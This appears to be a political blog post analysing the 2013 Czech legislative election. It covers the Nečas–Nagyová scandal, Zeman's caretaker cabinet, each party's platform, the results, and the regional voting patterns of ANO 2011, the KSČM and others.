On June 13, 2013, police raided the government offices and arrested nine people, eight of whom were charged. Those arrested included Jana Nagyová, the Prime Minister’s chief of staff and alleged mistress, the former and current heads of the Military Intelligence Service, three former ODS MPs and a former deputy minister. Nagyová was held on two separate counts.
In the first case, Nagyová is accussed of asking military intelligence to spy on three civilians, including Prime Minister Petr Nečas’ then-wife Radka Nečasová, for ‘purely private’ reasons. Nagyová was, according to prosecutors, hoping to convince Nečas to divorce his wife, whom she suspected of having an affair.
In the second case, she is accussed of bribing three former ODS MPs (Ivan Fuksa, Marek Šnajdr and Petr Tluchoř) with lucrative posts in public offices in exchange for their resignation (and replacement by loyal foot soldiers) to save the government in the confidence vote on the VAT hike last fall. The government managed to survive the vote with the resignation of these three MPs (two of the other six backbench rebels backed down, and one quit the party). Petr Nečas was involved in the deal-making.
The whole police op and cases are quite bizarre. Many expressed their surprise at the organization of the police raid, notably asking why the authorities had finally cracked down on corruption which has been around for decades. On the second case, political horse-trading of this kind is hardly unheard of in the Czech Republic (and elsewhere), and Nečas originally defended himself by saying that it was just the usual political deal-making.
The raid was part of a broader investigation which aimed to pin down powerful businessmen and lobbyists suspected of scheming to gain control of state-owned firms. Police seized millions of dollars in cash and ten kgs of gold during the raid.
Public tolerance for corruption is increasingly low, and politicians are feeling voters’ pressures. Nečas’ governments did take a few baby steps towards fixing some of the most egregerious issues in the political system, notably removing life-long immunity from criminal prosecution for all MPs, who nevertheless enjoy immunity while in office.
Petr Nečas originally indicated that he would try to weather the scandal and remain in office, but by June 16, he was forced to announce his resignation. Since then, Nečas married Nagyová in September – perhaps because the law prevents courts from forcing spouses to testify against one another.
In stepped President Miloš Zeman. The news of Nečas’ resignation was welcomed by the president, who had even promised his voters that he would topple Nečas’ government. With Nečas out of the picture, the power of appointing a new Prime Minister fell into the President’s hands. The President has no constitutional obligation to appoint a Prime Minister on the basis of parties or parliament’s recommendation until two of his nominees have been rejected by Parliament. However, in practice, past Presidents have followed the advice of party leaders in choosing Prime Ministers.
The ODS, TOP 09 and LIDEM recommended that Zeman appoint the ODS president of the Chamber of Deputies, Miroslava Němcová. Němcová had the backing of the three former coalition partners and the ODS claimed that it had a list of 101 MPs who would support her in a vote of confidence. The opposition ČSSD, KSČM and VV wanted to dissolve Parliament and hold snap elections. Zeman had his own ideas.
On June 25, Zeman appointed Jiří Rusnok, an economist who had served as a finance minister when Zeman was Prime Minister and who, like Zeman, had quit the ČSSD. Rusnok’s cabinet consisted of independents and close allies of the President. Rusnok/Zeman’s pick for the finance ministry was none other than Jan Fischer, who had run (and lost) in the presidential election earlier this year and had endorsed Zeman in the runoff at the last minute. Fischer had been unable to repay his campaign expenditures, until he received 5.3 million CZK from businessmen before his nomination.
It was clear fairly early that Rusnok was unlikely to receive the support of the Chamber, but it was all part of an ingenious plan by Zeman to increase his political influence. After his nominee is rejected by the Chamber, the President has the appoint a second candidate; but he is under no obligation to do so within a set timeframe. In the meantime, the outgoing cabinet continues to govern on a day-to-day basis as a caretaker government. For example, Zeman was able to use his new presidential cabinet to clear diplomatic appointments which had been blocked by Schwarzenberg beforehand. He named Livia Klausová, the wife of former President Klaus (who endorsed Zeman), as ambassador to Slovakia and Vladimír Remek, Czechoslovakia’s only astronaut and KSČM MEP as ambassador to Russia. Rusnok’s government also dismissed 60 senior bureaucrats from office.
Zeman’s move infuriated the right-wing parties, who were able to defeat Rusnok’s government in the Chamber on August 7. Rusnok’s government received the support of 93 MPs (ČSSD, KSČM, VV), while 100 voted against it (ODS, TOP 09, LIDEM). On August 20, 140 MPs (ČSSD, KSČM, TOP 09, VV) voted in favour of dissolving the Chamber of Deputies, more than the three-fifths majority required by the constitution to dissolve the lower house. The ODS did not participate in the vote. Zeman was unfavourable to the organization of snap elections, preferring to hold them alongside next year’s European elections in May 2014.
Parties and issues: the old timers
The ČSSD led the polls – often by huge margins – for basically the duration of the legislature’s term, and was the runaway favourite to win the elections; and probably with a strong result – above its 2010 result – and in a strong position to form a minority government with the KSČM’s support.
The past three years, however, have not been without hitches for the ČSSD. Former Prime Minister and ČSSD leader Jiří Paroubek resigned following the 2010 election but in November 2011 he left the party and created his own party, LEV 21-National Socialists (LEV 21 – Národní socialisté). The name ‘national socialist’ in Czech politics refers to the nationalist socialist tradition of the First Republic, it has nothing to do with Nazism (but the use of the term never stops to amuse foreign observers!). The Czech national socialist movement was a patriotic and Czech nationalist splitoff from the socialist/labour movement, influenced by the local Hussite tradition. It was supported largely by intellectuals (Edvard Beneš), civil servants and the lower middle-class. Paroubek’s movement never gained steam, however, and LEV 21 did terribly in the 2012 elections.
Since 2010, the ČSSD has been led by Bohuslav Sobotka, who was finance minister between 2002 and 2006.
In May 2012, the ČSSD faced a far more serious problem when David Rath, a former health minister (who got slapped) and then-governor of Central Bohemia, was arrested for accepting bribes and taking kickbacks. The ČSSD’ support in polls collapsed and the party won only a Pyrrhic victory in the 2012 elections, winning 23.6% – down 12.3% from the 2008 regional elections (a ČSSD landslide).
Like in 2010, the ČSSD’s platform was fairly left-wing. It promised to reinstate the progressive income tax, raise taxes on high incomes (top tax rate at 38%), increasing corporate taxes (from 19% to 21%; 30% for banks, energy companies and phone operators), a 40% increase in the minimum wage (from 8,500 CZK to 12,000 CZK [€480]), increasing social benefits (sick day benefits, benefits for second and third child), repealing the pension reform, guarantee access to healthcare for all, lower the prices paid for prescription drugs and improve education. It also pledged to renegotiate the church restitution agreement, to reduce the amount paid.
That platform, however, was overshadowed by a very public civil war raging inside the party, a conflict sowed by Zeman. Party leader Bohuslav Sobotka, 2013 presidential candidate Jiří Dienstbier Jr and Lubomír Zaorálek are from the party’s liberal wing (supportive of environmental protection, civil liberties), which is also the anti-Zeman wing. The ČSSD’s deputy leader, Michal Hašek (who is also governor of South Moravia) or former labour minister Zdeněk Škromach represent a conservative and pro-Zeman wing. Sobotka has faced strong internal opposition, and he is backed by only a thin majority of his party – at the party congress in March, Sobotka was reelected with only 85 out of 151 votes (56%). During the campaign, some regional delegates unsuccessfully tried to topple Sobotka. In early September, some ČSSD members – including the mayor of Ostrava, the third largest city, protested their exclusion from the list of candidates.
The ODS entered the campaign in an even worse shape: the party is facing a huge internal crisis and popular support for the party is at an all-time low. The ODS’ 12.3% in the 2012 regional elections was not, as I thought back then, the bottom for them: after Nečas’ resignation, the party’s support collapsed below 10%. The ODS was discredited in voters eyes because of the poor economic record, the corruption scandal, the clientelism within the party and internal turmoil. Some members wanted former President Václav Klaus to return, while some of Klaus’ supporters founded a party in the hope of attracting him as their leader (he did not run). With Nečas facing trial, the ODS is now led by interim leader Martin Kuba and vice-chair Miroslava Němcová.
TOP 09’s support declined consistently between 2010 and 2012, and it won only 6.6% in the 2012 regional elections. However, the party received a major boost in the polls with Schwarzenberg’s presidential candidacy (and his strong first round result), briefly throwing them back up over 15%. TOP 09 also benefited from the ODS’ collapse to take leadership of the right (surpassed the ODS in polls). The party ran a strongly anti-Zeman campaign, arguing that they were the only party who defended the parliamentary system and would stand up to Zeman and the threat of authoritarianism. Kalousek argued that Zeman wants to establish an autocratic regime. On other issues, TOP 09’s platform was pro-European – it wants Prague to ratify the European Fiscal Compact, which the Czech Republic did not ratify in 2012. The party also wants to limit the budget deficit to 0.5% of GDP.
As always, Schwarzenberg was the public leader and mascot of TOP 09 in this campaign. TOP 09 has been trying to promote him with young voters, beginning with the “punk Karel” image during the presidential campaign, and now with other pretty shameless bids to build up up their mascot’s image with younger voters.
The KSČM has been performing well in polls since 2011, polling in the 15-20% range. As noted above, the Communists placed second overall in the October 2012 regional elections, with over 20% of the vote, and the KSČM formed regional governing coalitions with the ČSSD in 10 of 13 regions. While the party remains committed, on paper, to the creation of a socialist state, the party’s platform was nothing too crazy: anti-corruption, quality education, job creation, a 14,000 CZK minimum wage, a gradual return to pre-2007 VAT rates (19%/5%), a progressive income and corporate tax, a referendum on church restitution, a minimum pension, public health insurance and sustainable development. Its more contentious policies remain on foreign policy: the Communists want to withdraw from NATO and mention abolishing NATO as a long-term goal; they are also anti-EU.
As a result of their exclusion from governance, the KSČM has not been in power and as a result it hasn’t been involved in any major corruption scandals. As such, the KSČM can claim, with some credibility, to be a ‘clean hands’ party and benefits from the governing parties’ involvement in corruption scandals.
The KDU-ČSL, which lost all its seats in 2010, performed slightly better in elections in 2010 and 2012. The party’s leader is Pavel Bělobrádek, a fairly young guy who has never served in Parliament in the past. Its platform mostly consisted of pablum such as strengthening the economy, job creation, increasing child benefits, fiscal responsibility, ‘zero tolerance’ for corruption and opposing the privatization of healthcare.
The Party of Civic Rights-Zemanovci (Strana Práv Občanů – Zemanovci, SPOZ) is President Zeman’s party, which he founded when he left the ČSSD in 2009. SPOZ won 4.3% of the votes in 2010, coming very close to winning seats in Palriament. It has basically functioned as personal vehicle for Zeman, although the party’s support is much lower than Zeman’s personal support as the presidential election revealed. Zeman, ironically, made a pledge not to interfere in party politics when he was elected earlier this year, but Zeman still controls the party although he naturally didn’t run in this election.
Three ministers from Rusnok’s cabinet ran for the SPOZ, as did the controversial lobbyist and Zeman’s close associate Miroslav Šlouf.
Of lesser relevance is the Green Party (Strana zelených, SZ), founded in 1989 and which enjoyed brief electoral success in 2006 when it won 6 seats. The Czech Greens have tended to be more liberal and centrist/centre-right than most other European green parties: while their positions on environmental issues are seen as left-wing in the country, they have more right-wing positions on other issues (reducing the tax burden and labour costs, deregulation of rents, user fees in healthcare). After all, the Greens governed in coalition with the right between 2006 and 2009.
After their success in 2006, the Greens found themselves, once again, torn apart by internal conflict between their right and left wings. This led to their defeat in 2010, when the Greens won only 2.4% of the vote. Now led by Ondřej Liška, the Greens have shifted to the left with more anti-nuclear rhetoric or opposition to austerity. Former Green leader and former environment minister Martin Bursík left SZ earlier this year and founded his own green liberal party.
The newcomers
One of the factors which has changed the Czech party system in recent years has been the rapid emergence of new political parties, most of them vaguely populist and anti-corruption movements centered around a charismatic figure. VV filled that role in 2010. In this election, there were two new major populist movements: ANO 2011 and Úsvit.
ANO 2011 – ‘Ano’ meaning yes but also standing as an abbreviation for “Action of dissatisfied citizens” – was founded in 2012 by Andrej Babiš, a Czech businessman of Slovak origin who is also the second richest man in the Czech Republic.
Andrej Babiš, who was born in Bratislava (Slovakia) in 1954, worked for a foreign trade company owned by the Communist Party in Morocco during the communist regime before becoming the managing director of Agrofert in 1993. Agrofert is one of the largest companies in the Czech Republic (its assets are valued at 96.2 billion CZK, it employs some 28,000 employees and owns 1.6% of all agricultural land in the country. It is a major holding company which controls various agricultural , food processing and chemical companies. Babiš himself has a net worth of $2 billion.
Babiš claims he started his party when he “got angry” and bought newspaper ads to mobilize people against corruption and government mismanagement. Originally claiming he only wanted to sponsor ANO at first, he later took control of the party himself and promptly expelled rebels who later claimed Babiš was behaving like a dictator and running the party as his personal business project. Since then, Babiš has apparently been more careful at accepting members and candidates (promoting celebrities).
In June 2013, Agrofert bought MAFRA, the largest Czech media group which owns two popular daily newspapers (Mladá fronta DNES, Lidové noviny), three TV stations and two radio stations. Babiš’ expansion into the media led to concerns that he was becoming the “Czech Silvio Berlusconi”. There are some similarities with Silvio Berlusconi, particularly Berlusconi’s entrance into politics in 1993-1994. Like Berlusconi, Babiš has come into politics from a lucrative career in business and based his political appeal on a right-wing populist rejection of the established party system and its corrupt ways (although both are certainly corrupt themselves). Unlike Berlusconi, however, Babiš lacked a media empire and control of the airwaves.
Late in the campaign, two archived documents from the Slovak Institute of National Remembrance surfaced and alleged that Babiš was a collaborator and later an agent in the communist secret police (StB). On October 18, a Slovak newspaper published a document apparently corroborating Babiš’ secret police ties. Miroslav Kalousek (TOP 09) called Babiš a communist informer, while Babiš has flatly denied all accussations saying he never signed an agent contract in Bratislava in 1982 and has sued the Slovak Institute of National Remembrance. In any case, what is certain is that Babiš was a member of the KSČ before 1989 – membership in the party was necessary to be part of the management of a state-owned company
Not much is known about ANO’s stances on the issues. It is anti-corruption, anti-establishment and most of its campaign has either been based on rejection of politicians or the idea that the Czech Republic should be run like a business. As such, it is a fairly right-wing party. Its platform also claims that the state is not “a good manager” and fails at providing services. Its other planks are rather vague: employing more graduates, seniors and disabled persons; fighting tax evasion; transparency; reforming government procurement and bidding; reducing the VAT; investments in infrastructure and simple rules for investors and business. Its anti-corruption proposal seem fairly straightforward on paper: abolishing parliamentary immunity and forcing elected officials to electronically publish their assets when they take office.
Tomio Okamura’s Dawn of Direct Democracy (Úsvit přímé demokracie Tomia Okamury), often referred to as Úsvit, is the other new populist party. Úsvit was founded in 2013 by Tomio Okamura, a Czech-Japanese businessman/entrepreneur and senator.
Okamura, who is 41, was born in Japan to a Japanese father and a Czech (Moravian) mother and moved to Czechoslovakia when he was six, although he worked for nine years of his youth in Japan. Okamura made his money in the hospitality/travel industry, notably serving as vice-president of the Czech association of travel agencies. He also served as director of a major travel agency in Prague and owned shares in various hospitality or travel businesses. Okamura is something of an eccentric and idiosyncratic businessman; some of his past ventures have included a travel agency for stuffed animals and a clothing store selling fashion for Czech women who wanted to dress like young Japanese schoolgirls. Okamura also developed a strong presence in the media, as a spokesman for the travel industry, a co-author of two books (one of which was a best seller) and as a star on the Czech version of Dragon’s Den.
Okamura entered politics last year, when he ran for Senate as an independent candidate in Zlín. He won 30.3% in the first round and easily defeated a ČSSD candidate in the runoff with 66% of the vote. Around the same time, he announced a presidential candidacy and submitted over 61,000 signatures from citizens (50,000 were required to run), but was disqualified when only 35.7k signatures were cleared – the court determined that a lot of his signatures were fictitious. His countless appeals and melodramatic protests were unsuccessful. In May 2013, he created his own party.
Okamura’s ideology is even vaguer than ANO. He has praised communism and socialism, but others have also called his movement “proto-fascist”. As the party’s names indicates, the party’s main issue is the promotion of direct democracy and a radical change in the political system. The party’s platform calls for the use of referenda and initiatives along the Swiss model; the direct election of deputies (presumably FPTP), mayors and governors; the possibility to recall elected officials and a presidential system. His economic and fiscal proposals are clearly right-wing: a ‘cost-effective public sector’, reducing the VAT, a moratorium on tax changes for 3 years, supporting entrepreneurs and business owners to create jobs, opposition to affirmative action/positive discrimination and balanced budgets. Úsvit takes a very tough line against “a layer of people who do not like to work, do not know the words obligation and responsibility and terrorize neighborhoods with crime”. It blames the social system for supporting these people while ‘bullying’ and ‘humiliating’ “law-abiding citizens who find themselves in need”. As such, it wants to limit social benefits to these responsible people who lead a “decent life” and “raise their children properly”. The movement is also critical of the EU and immigration.
Okamura ran into some trouble over the summer when he said that the ‘gypsies’ should be “democratically” sent to India (the ‘land of their ancestors’) to create their own state, like Israel. He couched this controversial statement in the language of the right to self-determination. He also said, in that same interviews, that the Roma are to blame if they face discrimination and racism, it is primarily their own fault. Groups representing the Roma people have called Okamura racist and far-right/neo-fascist.
Naturally, Úsvit is – on paper – very much anti-corruption and the platform is filled with populist outrage over corrupt politicians, corruption and mismanagement. That stuff rings a bit hollow, however, when you consider that VV, now led by the arch-corrupt Vit Bárta, allied with Okamura. Vit Bárta was Úsvit’s top candidate in Plzeň region.
Úsvit is a very wide coalition: besides the remnants of VV, it also includes ODS and other parties’ dissidents, anti-government demonstrators and the regionalist Moravané (Moravians). Okamura, who is of Moravian descent, has proclaimed his Moravian identity a few times and played up his Moravian cultural roots (by wearing Moravian folk costumes, for example).
Results
Turnout was 59.48%, down from 62.6% in 2010. This is the lowest turnout in a legislative election since 2002, when turnout had crashed to only 58% from 74% in 1998. This is fairly significant: the 2002 election was another high point of anti-system sentiments four years after the ‘opposition agreement’ and the first signs that politics were turning into a dirty, corrupt game limited to a closed circle of political elites and their friends and financiers in big business and lobbying firms. Turnout increased in the 2006 election (64.5%), a more polarized contest with a clear-cut division between Paroubek’s ČSSD and the ODS, but it fell to 62.6% in the last election.
Turnout has been even lower in recent ‘lower stakes’ election at the regional level or for the Senate: turnout in the 2012 regional elections was 36.9%, down from 40% in 2008.
ČSSD 20.45% (-1.63%) winning 50 seats (-6)
ANO 2011 18.65% (+18.65%) winning 47 seats (+47)
KSČM 14.91% (+3.64%) winning 33 seats (+7)
TOP 09 11.99% (-4.71%) winning 26 seats (-15)
ODS 7.72% (-12.5%) winning 16 seats (-37)
Úsvit 6.88% (+6.88%) winning 14 seats (+14)
KDU-ČSL 6.78% (+2.39%) winning 14 seats (+14)
Greens 3.19% (+0.73%) winning 0 seats (nc)
Pirates 2.66% (+1.86%) winning 0 seats (nc)
Party of Free Citizens 2.46% (+1.74%) winning 0 seats (nc)
SPOZ 1.51% (-2.82%) winning 0 seats (nc)
DSSS 0.86% (-0.24%) winning 0 seats (nc)
Others 1.81% (-3.3%) winning 0 seats (nc)
The Czech elections reflected, far and above anything else, voters’ deep-seated dissatisfaction (and outright anger) with with the political system, which is associated with corruption, mismanagement and a poor economy. While the ČSSD won the most votes, their result was unexpectedly terrible – very much a Pyrrhic victory for them, the second in a row after the 2010 election. Instead, the main winners of this election were new populist parties – and the main losers were the two old parties, the ČSSD and especially the ODS.
Czech politics are in a long-term crisis. Since 2002, almost every Prime Minister from either of the major parties have had their own corruption scandals. A number of senior politicians in all the major parties have also been involved in corruption scandal. It is common knowledge that politicians have close relations with businessmen and lobbyists (if they are not businessmen themselves), and that they more often than not govern to please these powerful interests who return the favour by providing their campaigns and parties with hefty financial support. Politicians and corrupt senior bureaucrats are said to take their share of money from the bidding in government contracts. Voters, to put it simply, no longer trust the established political parties and the politicians. This is not a recent development, but the past three years have very much reinforced these sentiments: widespread corruption at the highest levels, corrupt politicians in the public spotlight all topped off with an economic crisis, unpopular austerity and cuts to social programs.
The ČSSD has more or less managed to lose two elections in which they had been the runaway favourites for a long period of time beforehand. In 2010, the ČSSD did poorly (22% of the vote) and was unable to form a centre-left government despite having won large victories over the centre-right in the 2008 regional elections. This year, the ČSSD had a sizable lead in polls dating back to early 2011 and even during the campaign, the ČSSD was generally between 24% and 28% in the (notoriously unreliable) polls. At any rate, the ČSSD expected to win somewhere close to 70 or so seats, which would allow it to form a minority government with KSČM support – a sentiment which was shared by most observers at the time. Even during the campaign, even if the ČSSD and KSČM saw their support fall during the course of the campaign, a ČSSD minority government was still seen as the most likely outcome. After the fact, the ČSSD and KSČM won only 83 seats (101 required for a majority), due entirely to the ČSSD’s terrible result.
The ČSSD ran a poor campaign in which its internal squabbles overshadowed its platform or any appeal it might have had as the main alternative to the right. The publicized internal crisis in the party reinforced widespread perceptions that party politicians are self-serving and self-interested committed to their personal well-being and comfort rather than the national interest. The ČSSD was also a victim of the political mood, which is disdainful of the established major parties and totally fed up with the political system. The ČSSD has also been hurt by corruption, even if it has been in opposition nationally since 2006, and few voters likely associate ČSSD with major change or renewal.
The ČSSD and ODS, which have dominated Czech politics for almost two decades, won only 28.17% of the vote together. In 2010, by no means a good year for either parties, they had still won 42.3%. In 2006, a polarized contest, they won over two-thirds of the vote to themselves. These numbers, again, speak for themselves. The total collapse of the two traditional parties reflects record-high dissatisfaction with the political system and the old parties.
Most upheaval, however, took place on the right. The main winners were new right-wing populist parties: Andrej Babiš’ ANO 2011 placed second with a remarkable 18.7% of the vote, while Tomio Okamura’s Úsvit managed a respectable 6.9%, just a bit below the showing of the hitherto dominant right-wing party, ODS. Together, these two new populist parties on the right won 25.53%, which is more than the combined sum of TOP 09 and ODS (19.71%) or that of the ‘winning’ party (ČSSD with 20.5%).
The ODS was the major loser of this election. To put its defeat into context and to emphasize what this all means: only seven years ago, the ODS won 35% of the vote and although it won a paltry 20% in 2010, it nevertheless retained its dominance of the Czech right. The party had the bad luck of being the ones who got caught with their paws in the cookie jar (a lot of parties often put their paws in the cookie jar, of course) when everybody was watching. The ODS, however, was hardly in better shape before the Nagyová scandal destroyed the party. In the regional elections a year ago, they won only 12% of the vote and the ODS’ no-name candidate won like 2% of the vote in the presidential election in January. Prior to the scandal, the ODS had already been hit by other corruption scandals and it was closely tied to Petr Nečas’ unpopular government – seen as ineffective on corruption issues and behind unpopular austerity measures and the bad economy. The Nagyová scandal not only ruined whatever reputation it still had left, but also left the party without much leadership. The ODS’ low-key campaign in this election consisted of running away from its brand. Its main billboard ads, for example, consisted of a horrible Twitter slogan: “#Volím_pravici” (vote for the right), including, yes, the hashtags and underscore. The billboards didn’t even include the ODS’ logo, although they did include the Twitter logo!
TOP 09 had somewhat better luck. Although it too saw its support decline fairly significantly since the last election, winning only 12% of the vote compared to 16.7% in 2010. However, the party has managed to establish itself as the main ‘traditional’ party on the right, ahead of the ODS. The party was likely held in large part thanks to Karel Schwarzenberg’s personal popularity and the publicity his presidential campaign, even if ultimately unsuccessful, attracted for the party – especially with younger voters.
ANO 2011, the main winner of this election, owes its success to widespread disillusionment with the political class, a well-financed and well-run campaign and a generic, vague anti-corruption platform of the same kind which had carried VV to relative success in the last election. After all, in large part ANO 2011 ran on the idea that they were not politicians – but businessmen, journalists and other celebrities or regular citizens – who “worked” and could do a better job running the country than the politicians. Apparently, the concerns over Babiš’ behaviour during communist rule or his very vague platform largely copied from other parties with the addition of generic anti-corruption and anti-tax stances, did not rattle its potential supporters much.
Voters expressed that they are fed up with politics, corruption and the poor economy. Czech sculptor David Černý conveyed his country’s visceral anger towards the political class when he installed a large purple sculpture of a hand pointing the middle finger on a barge in the Vltava River in Prague overlooking the presidential residence, the Prague Castle.
The KSČM did fairly well, although perhaps not as well as it might have expected. It did not break its 2002 record (18.5% of the vote) or its 2012 regional result (20%). The party, which is an attractive protest option for some voters on the left who are not repelled by the party’s baggage, likely gained some votes from dissatisfied left-wing voters. There isn’t much to say about the KSČM in the end: foreign observers always tend to express shock at KSČM successes at the polls or over-dramatize its meaning, when in the end this is a party which has done similarly well in the past (2000, 2002, 2004) and which can be counted on to perform well whenever the ČSSD is unpopular or discredited (2000/2002: opposition agreement, 2004: unpopular ČSSD government in power, 2012: ČSSD’s weak performance in opposition and recently hurt by David Rath’s corruption scandal). Its success in this election owes to similar factors. Some media reports noted that the KSČM had been somewhat successful in attracting younger voters to the fold; voters so burnt out by the corruption and the decrepit political class that they were willing to give the KSČM a chance.
Higher turnout than in the 2012 regional elections, in which the Communists had done very well, may also explain the party’s weaker result in this election. The party has an old, stable, motivated and loyal base of supporters who increase the party’s share of the vote in lower-turnout elections (such as regional elections). Indeed, the KSČM won far more votes in this election (741,044) than in 2012 (538,953) although less than in 2002.
The KDU-ČSL, not noticed by many, managed to reenter the Chamber some three years after it lost all its seats in a disastrous election. The party likely picked up some former ODS voters. While the party is not very strong, the KDU-ČSL – like the Communists – have managed to survive because they have strong infrastructure at the grassroots level; the party, like the Communists, have a very large number of members (although, again, a lot of them are old and inactive in party activities) and it has retained a strong electoral base at all levels of government in Moravia.
One surprise in this election was SPOZ’ poor performance. President Zeman’s personality appreciation machine not only failed to enter Parliament, it won significantly less votes than it had in 2010 (4.3%). After Zeman’s election earlier this year, SPOZ’ support in the polls increased, often over the 5% threshold, and many predicted that they would have a good chance of winning seats in this election. As such, this is a surprising rebuke for President Zeman, who will not have the luxury of having his own personal vehicle represented in Parliament.
Hlavu vzhůru, a list endorsed by former President Václav Klaus, won only 0.42% of the vote. The neo-Nazi and anti-Roma Workers’ Party (DSSS) did poorly, winning only 0.9% of the vote (they had won 1.1% in 2010).
Electoral geography
Here is an excellent map of the results down the very micro municipal (district in Prague) level, with the ability to generate individual maps for the major parties and compare to results of past elections since 1996.
What is quite striking, although not necessarily all that surprising, is the extent to which ANO 2011’s support patterns coincides with the traditional geographic base of the right (ODS, ODS+TOP 09 in 2010) in the past elections. With one, however, significant exception: ANO 2011 performed relatively poorly in Prague, the traditional bastion of the right. It won 16.5% of the vote in the national capital, below its national average. Within the city, the party’s support was lowest in the wealthier districts of the city centre: 11.8% in Prague-1, the prestigious Medieval old town. TOP 09 topped the poll in Prague with 23% of the vote, by far its best result. It did best in the city’s most affluent districts.
This link provides correlation graphs between the parties in Prague, as well as a great map of results by precincts in the city. TOP 09 and ANO, as well as the Greens and ANO, showed a fairly marked negative correlation in Prague. ANO did best, glancing at precinct results, in outlying neighborhoods and in some neighborhoods with densely packed communist-era apartment blocks.
Karel Schwarzenberg helped out the party in Prague (and the country in general). Standing as TOP 09’s top candidate in Prague, Schwarzenberg won 37,794 preference votes, or 28% of all ballots cast for TOP 09 in the city. Miroslav Kalousek, in contrast, won only 10,246 preference votes as the top candidate in Central Bohemia.
On the other hand, the party also performed well in North Bohemia (not generally a right-wing stronghold): its top two regional results were 21.3% in Karlovy Vary Region and Ústí nad Labem/Ústecký Region. North Bohemia is a traditional industrial area (mining) which has the highest unemployment rates in the region and a “newer” population – most residents settled in the region after 1945, following the expulsion of Sudeten Germans. It has provided a political base for the far-right in the past, and it remains one of the KSČM’s strongest regions (already in 1946, the KSČ had performed best in the former Sudetenland, especially North Bohemia).
ANO 2011 was likely boosted by its alliance with Severočeši.cz (North Bohemians.cz), a local party which holds two seats in the Senate and won 12% in the 2012 regional elections in Ústí nad Labem. Allied with ANO 2011 in Ústí nad Labem region, S.cz elected two of its candidates to the Chamber.
There seems to be a fairly solid (albeit not perfect) correlation between strong support for ANO 2011 and towns where Agrofert owns a company. One particular result piqued my interest: ANO 2011 won 32% of the vote (which is huge) in Lovosice (Ústí nad Labem), which apparently has a major agricultural fertilizers industry – and Agrofert owns two companies in that city. A blog post on Ihned.cz looked at the links between ANO’s results and Agrofert companies. In a lot of smaller towns in which Agrofert is the main employer, ANO did very well: Valašské Meziříčí, 26%; Chropyně, 23%; Napajedla, 27%; Přerov, 24%; Hlinsko, 24%; Kostelec, 30%; Hustopeče, 22%. Ihned found that out of 40 towns with Agrofert companies, ANO placed first or second in all but four of them. In Průhonice, a town located just outside of Prague in which Babiš has invested a lot of money, ANO won 31% of the vote. The article cited above mentioned how locals said that they appreciated Babiš because he provided jobs, offered job security and took good care of his employees.
That being said, ANO 2011’s support seems to have been fairly evenly distributed: its support ranged from 16% to 21.5% in all fourteen regions.
The excellent Datablog on the Ihned website did some basic vote transfer analysis. It shows that most of ANO’s supporters had backed right-wingers in 2010: 22.6% voted ODS, 19.2% voted VV and 18.9% voted TOP 09. About 23% had not voted in 2010, and 11.2% had backed other parties. However, very few of ANO’s voters came over from the left: only 4.3% from the ČSSD and 0.7% from KSČM. The ČSSD largely lost votes to the Communists (15.1% of the KSČM’s 2013 voters had voted ČSSD in 2010) or Okamura’s Úsvit (12.2% of his voters had backed the ČSSD in 2010).
Úsvit voters mostly came from VV (27.7%) or other parties (24.8%, including the KDU-ČSL). 15% came from the ODS, but only 5.8% came from TOP 09.
The ODS lost a lot of votes to TOP 09: about a third of TOP 09’s supporters in this election had voted for the ODS in 2010 (about 189,600 voters). Therefore, TOP 09 lost a lot of voters to ANO (about 175,150) and other parties (about 122,000 votes) but gained a lot from the ODS.
The KSČM also did best in Ústí nad Labem region (20.3%). The party’s map is rather similar to the map of the pre-1945 German population in the Czech Republic (Sudetenland), with the exception of Liberec. Following World War II, the Czechoslovak government controversially expelled the German population from the Sudetenland, and these territories were extensively resettled with Czechs or Slovaks. In North Bohemia, many of these new settlers came to work in the region’s mines and heavy industry. Territories which were resettled after World War II have long been Communist strongholds: in the 1946 election, the last semi-free election before communist rule, the Communist Party’s support was closely correlated to the former Sudetenland and areas of pre-war German population. Resettlement, of course, meant major social upheaval and the construction of a new, completely different social structure than in the past. Settlers must also have felt some kind of indebtedness for newly acquired property, and certainly were very hostile to subsequent German demands for reparations, compensations or right of return. The KSČ and today the KSČM have taken strongly nationalist and anti-German stances. Earlier this year, for example, the KSČM strongly condemned a speech given by then-Prime Minister Petr Nečas in Munich in which he expressed regret for the wrongs caused by the population transfers.
This blog post, in Czech, looked at the results in the former German Sudetenland. The KSČM won 18.2% of the vote in the former Sudetenland, compared to 14.2% in the rest of the country. Protest parties also did better in the former Sudetenland: ANO also did about 2% better, Úsvit won 7.9% (6.7% in the rest of the country); TOP 09, ODS and especially the KDU-ČSL all did worse in the Sudetenland. TOP 09 won 9.6% in the former German territories, but took 12.5% in the rest of the country. TOP 09’s results across the country seem to reflect an affluent, well-educated and economically successful population (notably small-business owners and entrepreneurs); therefore it is unsurprising that TOP 09 would perform poorly in the former Sudetenland, which is poorer than the rest of the country. TOP 09 also did poorly in the industrialized mining basin of Moravian Silesia.
The KDU-ČSL won 4% in the former German territories, but won 7.4% in the rest of the country. The KDU-ČSL’s significantly lower results in the former Sudetenland is striking in the Olomouc Region, as the aforementioned blog article found: looking at the map of the KDU-ČSL’s result in the Rýmařov and Bruntál regions of northern Moravia/Silesia. As the map to the left shows, the party’s results are significantly lower in towns which were largely German until 1945. In this same region (Nízký Jeseník), economically depressed and resettled after 1945, the KSČM did very well in a lot of small villages.
In North Bohemia, the KSČM’s best results came not from the largest industrial cities or even the major mining centres, but rather from small towns and rural areas. In other regions where the KSČM did well, the patterns appear to be rather similar: the KSČM didn’t do extremely well in more populous towns, but they did very well in smaller towns and rural areas. I would suppose that these rural areas have an older population (hence the higher propensity to support the KSČM) and political traditions might still play a role.
The above blog article also emphasized the role of comparative economic deprivation in strong KSČM results. One region where this certainly appears to be true is Liberec Region. It is something of a right-wing stronghold: TOP 09 did quite well in the region, winning 15.2% of the vote – to be fair, TOP 09’s strength might have a lot to do with its alliance with a local party, Mayors for Liberec Region (SLK) which actually won the 2012 regional elections. Nevertheless, the region has tended to be economically stronger than other Sudetenland regions, which are more deprived (high unemployment, social tensions due to a high Roma population in North Bohemia, poor economy). Liberec and Jablonec are large urban areas (which is generally favourable, on balance, to the right-wing parties in the Czech Republic), and the Communists only won about 11% of the vote in both of those cities. However, in the same region, the KSČM did very well in the area around Frýdlant (Frýdlantská pahorkatina/Jizera mountains), an economically depressed region with high unemployment. The Communists won 18.3% in Frýdlant itself and did even better in small towns, winning upwards of 25-30%.
